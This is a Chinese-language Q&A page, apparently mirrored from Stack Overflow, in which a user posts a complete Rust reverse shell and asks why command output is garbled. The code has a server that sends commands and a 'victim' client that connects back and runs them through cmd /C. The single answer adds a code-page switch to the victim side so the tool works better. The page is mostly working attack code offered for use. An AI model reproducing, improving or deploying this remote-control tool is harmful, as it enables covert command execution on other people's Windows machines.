编码utf-8 rust时出错(反向shell)

问题描述 投票:0回答:1

您好,我正在用 rust 创建一个反向 shell,其中包含服务器端(发送命令并接收输出的端)和受害者端(将启动可执行文件的端),但是当我键入 ipconfig 命令时,dir等等...这向我展示了某些无法转换为 utf-8 的字符,因此被这个 Unicode“�” 替换。

服务器端:

use std::net::{TcpListener, TcpStream};

use std::io::{self, Read, Write};



fn handle_client(mut stream: TcpStream) {

    loop {

        let mut buffer = [0; 1024];

        let bytes_read = stream.read(&mut buffer).expect("Failed to read from socket");



        if bytes_read == 0 {

            println!("Client disconnected.");

            break;

        }



        println!();

        println!("{}", String::from_utf8_lossy(&buffer[..bytes_read]));

        println!();



        let mut cmd = String::new();

        print!("Shell> ");



        io::stdout().flush().expect("Failed to flush stdout");

        io::stdin().read_line(&mut cmd).expect("Failed to read from stdin");



        let trimmed_cmd = cmd.trim();



        if trimmed_cmd == "exit" {

            println!("Closing connection...");

            break;

        }



        stream.write(&trimmed_cmd.as_bytes()).expect("Failed to write to socket");

    }

}



fn main() -> std::io::Result<()> {

    let listener = TcpListener::bind("127.0.0.1:4444")?;

    println!("[+] Waiting for a connection...");



    for stream in listener.incoming() {

        println!("Connexion established !");

        handle_client(stream?);

    }



    Ok(())

} 

受害方:


use std::net::TcpStream;

use std::io::{Read, Write};

use std::process::{Command, exit};



fn main() {

    let mut buffer = [0; 1024];

    let os = std::env::consts::OS;

    let os_str = format!("Operating System: {}", os);



    if os == "linux" {

        exit(1);

    }



    if let Ok(mut stream) = TcpStream::connect("127.0.0.1:4444") {

        let _ = stream.write_all(os_str.as_bytes());



        loop {

            if let Ok(bytes_read) = stream.read(&mut buffer) {

                if bytes_read == 0 {

                    break; 

                }



                let command_str = String::from_utf8_lossy(&buffer[..bytes_read]);



                if os == "windows" {

                    if let Ok(output) = Command::new("cmd")

                        .arg("/C")

                        .arg(command_str.trim())

                        .output()

                    {

                        let _ = stream.write_all(&output.stdout);

                        let _ = stream.write_all(&output.stderr);

                    }

                }

            }

        }

    }

} 

因此,如果有人可以通过向我解释您更改的内容来纠正我的代码。

rust unicode utf-8 utf-16 reverse-shell
1个回答
0
投票

在 Windows 上,命令输出可能使用当前代码页(例如 CP437、CP850 或 CP949)。执行命令前可以使用chcp命令暂时切换为UTF-8。 UTF-8 代码页是 65001。

所以,像下面这样编辑受害者的代码

if os == "windows" {
    // Set the code page to UTF-8 (65001)
    let _ = Command::new("cmd")
        .arg("/C")
        .arg("chcp 65001")
        .output();

    if let Ok(output) = Command::new("cmd")
        .arg("/C")
        .arg(command_str.trim())
        .output()
    {
        let _ = stream.write_all(&output.stdout);
        let _ = stream.write_all(&output.stderr);
    }
}
© www.soinside.com 2019 - 2024. All rights reserved.